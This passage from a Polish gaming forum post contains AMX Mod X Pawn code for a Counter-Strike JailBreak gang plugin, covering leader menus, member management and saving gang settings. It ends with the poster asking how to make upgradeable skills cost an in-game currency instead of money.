	if( iItem == MENU_EXIT )
	{
		Cmd_Gang( id );
		return PLUGIN_HANDLED;
	}
	
	new iAccess, hCallback, szData[ 6 ];
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback );
	
	switch( str_to_num( szData ) )
	{
		case 0:
		{
			ShowDisbandConfirmMenu( id );
		}
		
		case 1:
		{
			ShowTransferMenu( id );
		}
		
		case 2:
		{
			ShowKickMenu( id );
		}
	}
	
	return PLUGIN_HANDLED;
}

public ShowDisbandConfirmMenu( id )
{
	new hMenu = menu_create( "Jestes pewien ze chcesz usunac gang?", "DisbandConfirmMenu_Handler" );
	menu_additem( hMenu, "Tak, Usun teraz", "0" );
	menu_additem( hMenu, "Nie, Nie usuwaj", "1" );
	
	menu_display( id, hMenu, 0 );
}

public DisbandConfirmMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
		return PLUGIN_HANDLED;
	
	new szData[ 6 ], iAccess, hCallback;
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback );
	
	switch( str_to_num( szData ) )
	{
		case 0: 
		{
			
			ColorChat( id, YELLOW, "%s Usunales swoj gang!", g_szPrefix );
			
			new iPlayers[ 32 ], iNum;
			
			get_players( iPlayers, iNum );
			
			new iPlayer;
			
			for( new i = 0; i < iNum; i++ )
			{
				iPlayer = iPlayers[ i ];
				
				if( iPlayer == id )
					continue;
				
				if( g_iGang[ id ] != g_iGang[ iPlayer ] )
					continue;

				ColorChat( iPlayer, YELLOW, "%s Twoj gang zostal usuniety przez leadera!.", g_szPrefix );
				set_user_gang( iPlayer, -1 );
			}
			
			new iGang = g_iGang[ id ];
			
			set_user_gang( id, -1 );
			
			ArrayDeleteItem( g_aGangs, iGang );

			Cmd_Gang( id );
		}
		
		case 1: Cmd_Gang( id );
	}
	
	return PLUGIN_HANDLED;
}

public ShowTransferMenu( id )
{
	new iPlayers[ 32 ], iNum;
	get_players( iPlayers, iNum, "e", "TERRORIST" );
	
	new hMenu = menu_create( "Oddaj przywodztwo:", "TransferMenu_Handler" );
	new szName[ 32 ], szData[ 6 ];
	
	for( new i = 0, iPlayer; i < iNum; i++ )
	{
		iPlayer = iPlayers[ i ];
		
		if( g_iGang[ iPlayer ] != g_iGang[ id ] || id == iPlayer )
			continue;
			
		get_user_name( iPlayer, szName, charsmax( szName ) );
		num_to_str( iPlayer, szData, charsmax( szData ) );
		
		menu_additem( hMenu, szName, szData );
	}
	
	menu_display( id, hMenu, 0 );
}

public TransferMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
	{
		ShowLeaderMenu( id );
		return PLUGIN_HANDLED;
	}
	
	new iAccess, hCallback, szData[ 6 ], szName[ 32 ];
	
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, szName, charsmax( szName ), hCallback );
	
	new iPlayer = str_to_num( szData );
	
	if( !is_user_connected( iPlayer ) )
	{
		ColorChat( id, YELLOW, "%s Ten gracz nie jest juz polaczony.", g_szPrefix );
		ShowTransferMenu( id );
		return PLUGIN_HANDLED;
	}
	
	set_user_gang( iPlayer, g_iGang[ id ], true );
	set_user_gang( id, g_iGang[ id ], false );
	
	Cmd_Gang( id );
	
	new iPlayers[ 32 ], iNum, iTemp;
	get_players( iPlayers, iNum );

	for( new i = 0; i < iNum; i++ )
	{
		iTemp = iPlayers[ i ];
		
		if( iTemp == iPlayer )
		{
			ColorChat( iTemp, YELLOW, "%s Jestes nowym leaderem tego gangu.", g_szPrefix );
			continue;
		}
		
		else if( g_iGang[ iTemp ] != g_iGang[ id ] )
			continue;
		
		ColorChat( iTemp, YELLOW, "%s ^03%s^01 zostal nowym leaderem gangu.", g_szPrefix, szName );
	}
	
	return PLUGIN_HANDLED;
}


public ShowKickMenu( id )
{
	new iPlayers[ 32 ], iNum;
	get_players( iPlayers, iNum );
	
	new hMenu = menu_create( "Usun gracza z gangu:", "KickMenu_Handler" );
	new szName[ 32 ], szData[ 6 ];
	
	
	for( new i = 0, iPlayer; i < iNum; i++ )
	{
		iPlayer = iPlayers[ i ];
		
		if( g_iGang[ iPlayer ] != g_iGang[ id ] || id == iPlayer )
			continue;
			
		get_user_name( iPlayer, szName, charsmax( szName ) );
		num_to_str( iPlayer, szData, charsmax( szData ) );
		
		menu_additem( hMenu, szName, szData );
	}
	
	menu_display( id, hMenu, 0 );
}

public KickMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
	{
		ShowLeaderMenu( id );
		return PLUGIN_HANDLED;
	}
	
	new iAccess, hCallback, szData[ 6 ], szName[ 32 ];
	
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, szName, charsmax( szName ), hCallback );
	
	new iPlayer = str_to_num( szData );
	
	if( !is_user_connected( iPlayer ) )
	{
		ColorChat( id, YELLOW, "%s Ten gracz nie jest juz polaczony.", g_szPrefix );
		ShowTransferMenu( id );
		return PLUGIN_HANDLED;
	}
	
	set_user_gang( iPlayer, -1 );
	
	Cmd_Gang( id );
	
	new iPlayers[ 32 ], iNum, iTemp;
	get_players( iPlayers, iNum );
	
	for( new i = 0; i < iNum; i++ )
	{
		iTemp = iPlayers[ i ];
		
		if( iTemp == iPlayer || g_iGang[ iTemp ] != g_iGang[ id ] )
			continue;
		
		ColorChat( iTemp, YELLOW, "%s ^03%s^01 zostal usuniety z gangu.", g_szPrefix, szName );
	}
	
	ColorChat( iPlayer, YELLOW, "%s zostales wyrzucony z gangu.", g_szPrefix, szName );
	
	return PLUGIN_HANDLED;
}

public ShowMembersMenu( id )
{
	new szName[ 64 ], iPlayers[ 32 ], iNum;
	get_players( iPlayers, iNum );
	
	new hMenu = menu_create( "Online Members:", "MemberMenu_Handler" );
	
	for( new i = 0, iPlayer; i < iNum; i++ )
	{
		iPlayer = iPlayers[ i ];
		
		if( g_iGang[ id ] != g_iGang[ iPlayer ] )
			continue;
		
		get_user_name( iPlayer, szName, charsmax( szName ) );
		
		if( isLeader( iPlayer, g_iGang[ id ] ) )
		{
			add( szName, charsmax( szName ), " \r[Leader]" );
		}
		
		menu_additem( hMenu, szName );
	}
	
	menu_display( id, hMenu, 0 );
}

public MemberMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
	{
		menu_destroy( hMenu );
		Cmd_Gang( id );
		return PLUGIN_HANDLED;
	}
	
	menu_destroy( hMenu );
	
	ShowMembersMenu( id )
	return PLUGIN_HANDLED;
}

// Credits to Tirant from zombie mod and xOR from xRedirect
public LoadGangs()
{
	new szConfigsDir[ 60 ];
	get_configsdir( szConfigsDir, charsmax( szConfigsDir ) );
	add( szConfigsDir, charsmax( szConfigsDir ), "/jb_gangs.ini" );
	
	new iFile = fopen( szConfigsDir, "rt" );
	
	new aData[ GangInfo ];
	
	new szBuffer[ 512 ], szData[ 6 ], szValue[ 6 ], i, iCurGang;
	
	while( !feof( iFile ) )
	{
		fgets( iFile, szBuffer, charsmax( szBuffer ) );
		
		trim( szBuffer );
		remove_quotes( szBuffer );
		
		if( !szBuffer[ 0 ] || szBuffer[ 0 ] == ';' ) 
		{
			continue;
		}
		
		if( szBuffer[ 0 ] == '[' && szBuffer[ strlen( szBuffer ) - 1 ] == ']' )
		{
			copy( aData[ GangName ], strlen( szBuffer ) - 2, szBuffer[ 1 ] );
			aData[ GangHP ] = 0;
			aData[ GangStealing ] = 0;
			aData[ GangGravity ] = 0;
			aData[ GangStamina ] = 0;
			aData[ GangWeaponDrop ] = 0;
			aData[ GangDamage ] = 0;
			aData[ GangKills ] = 0;
			aData[ GangMembers ] = _:TrieCreate();
			
			if( TrieKeyExists( g_tGangNames, aData[ GangName ] ) )
			{
				new szError[ 256 ];
				formatex( szError, charsmax( szError ), "[JB Gangs] Gang already exists: %s", aData[ GangName ] );
				set_fail_state( szError );
			}
			
			ArrayPushArray( g_aGangs, aData );
			
			TrieSetCell( g_tGangNames, aData[ GangName ], iCurGang );

			log_amx( "Gang Created: %s", aData[ GangName ] );
			
			iCurGang++;
			
			continue;
		}
		
		strtok( szBuffer, szData, 31, szValue, 511, '=' );
		trim( szData );
		trim( szValue );
		
		if( TrieGetCell( g_tGangValues, szData, i ) )
		{
			ArrayGetArray( g_aGangs, iCurGang - 1, aData );
			
			switch( i )
			{					
				case VALUE_HP:
					aData[ GangHP ] = str_to_num( szValue );
				
				case VALUE_STEALING:
					aData[ GangStealing ] = str_to_num( szValue );
				
				case VALUE_GRAVITY:
					aData[ GangGravity ] = str_to_num( szValue );
				
				case VALUE_STAMINA:
					aData[ GangStamina ] = str_to_num( szValue );
				
				case VALUE_WEAPONDROP:
					aData[ GangWeaponDrop ] = str_to_num( szValue );
					
				case VALUE_DAMAGE:
					aData[ GangDamage ] = str_to_num( szValue );
				
				case VALUE_KILLS:
					aData[ GangKills ] = str_to_num( szValue );
			}
			
			ArraySetArray( g_aGangs, iCurGang - 1, aData );
		}
	}
	
	new Array:aSQL;
	sqlv_read_all_ex( g_hVault, aSQL );
	
	new aVaultData[ SQLVaultEntryEx ];
	
	new iGang;
	
	for( i = 0; i < ArraySize( aSQL ); i++ )
	{
		ArrayGetArray( aSQL, i, aVaultData );
		
		if( TrieGetCell( g_tGangNames, aVaultData[ SQLVEx_Key2 ], iGang ) )
		{
			ArrayGetArray( g_aGangs, iGang, aData );
			
			TrieSetCell( aData[ GangMembers ], aVaultData[ SQLVEx_Key1 ], str_to_num( aVaultData[ SQLVEx_Data ] ) );
			
			ArraySetArray( g_aGangs, iGang, aData );
		}
	}
	
	fclose( iFile );
}

public SaveGangs()
{
	new szConfigsDir[ 64 ];
	get_configsdir( szConfigsDir, charsmax( szConfigsDir ) );
	
	add( szConfigsDir, charsmax( szConfigsDir ), "/jb_gangs.ini" );
	
	if( file_exists( szConfigsDir ) )
		delete_file( szConfigsDir );
		
	new iFile = fopen( szConfigsDir, "wt" );
		
	new aData[ GangInfo ];
	
	new szBuffer[ 256 ];

	for( new i = 0; i < ArraySize( g_aGangs ); i++ )
	{
		ArrayGetArray( g_aGangs, i, aData );
		
		formatex( szBuffer, charsmax( szBuffer ), "[%s]^n", aData[ GangName ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "HP=%i^n", aData[ GangHP ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "Stealing=%i^n", aData[ GangStealing ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "Gravity=%i^n", aData[ GangGravity ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "Stamina=%i^n", aData[ GangStamina ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "WeaponDrop=%i^n", aData[ GangWeaponDrop ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "Damage=%i^n", aData[ GangDamage ] );
		fputs( iFile, szBuffer );
		
		formatex( szBuffer, charsmax( szBuffer ), "Kills=%i^n^n", aData[ GangKills ] );
		fputs( iFile, szBuffer );
	}
	
	fclose( iFile );
}
	
	

set_user_gang( id, iGang, bool:bLeader=false )
{
	new szAuthID[ 35 ];
	get_user_authid( id, szAuthID, charsmax( szAuthID ) );

	new aData[ GangInfo ];
	
	if( g_iGang[ id ] > -1 )
	{
		ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
		TrieDeleteKey( aData[ GangMembers ], szAuthID );
		ArraySetArray( g_aGangs, g_iGang[ id ], aData );
		
		sqlv_remove_ex( g_hVault, szAuthID, aData[ GangName ] );
	}

	if( iGang > -1 )
	{
		ArrayGetArray( g_aGangs, iGang, aData );
		TrieSetCell( aData[ GangMembers ], szAuthID, _:bLeader + 1 );
		ArraySetArray( g_aGangs, iGang, aData );
		
		sqlv_set_num_ex( g_hVault, szAuthID, aData[ GangName ], _:bLeader + 1 );		
	}

	g_iGang[ id ] = iGang;
	
	return 1;
}
	
get_user_gang( id )
{
	new szAuthID[ 35 ];
	get_user_authid( id, szAuthID, charsmax( szAuthID ) );
	
	new aData[ GangInfo ];
	
	for( new i = 0; i < ArraySize( g_aGangs ); i++ )
	{
		ArrayGetArray( g_aGangs, i, aData );
		
		if( TrieKeyExists( aData[ GangMembers ], szAuthID ) )
			return i;
	}
	
	return -1;
}
			
bool:isLeader( id, iGang )
{
	if( !is_user_connected( id ) || iGang == -1 )
		return false;
		
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, iGang, aData );
	
	new szAuthID[ 35 ];
	get_user_authid( id, szAuthID, charsmax( szAuthID ) );
	
	new iStatus;
	TrieGetCell( aData[ GangMembers ], szAuthID, iStatus );
	
	return iStatus == 2;
}

Problem jest w tym iż nie mogę przerobić " umiejętności " które się ulepsza za kase na jointy :/


  • +
  • -
  • 0




Użytkownicy przeglądający ten temat: 0

0 użytkowników, 0 gości, 0 anonimowych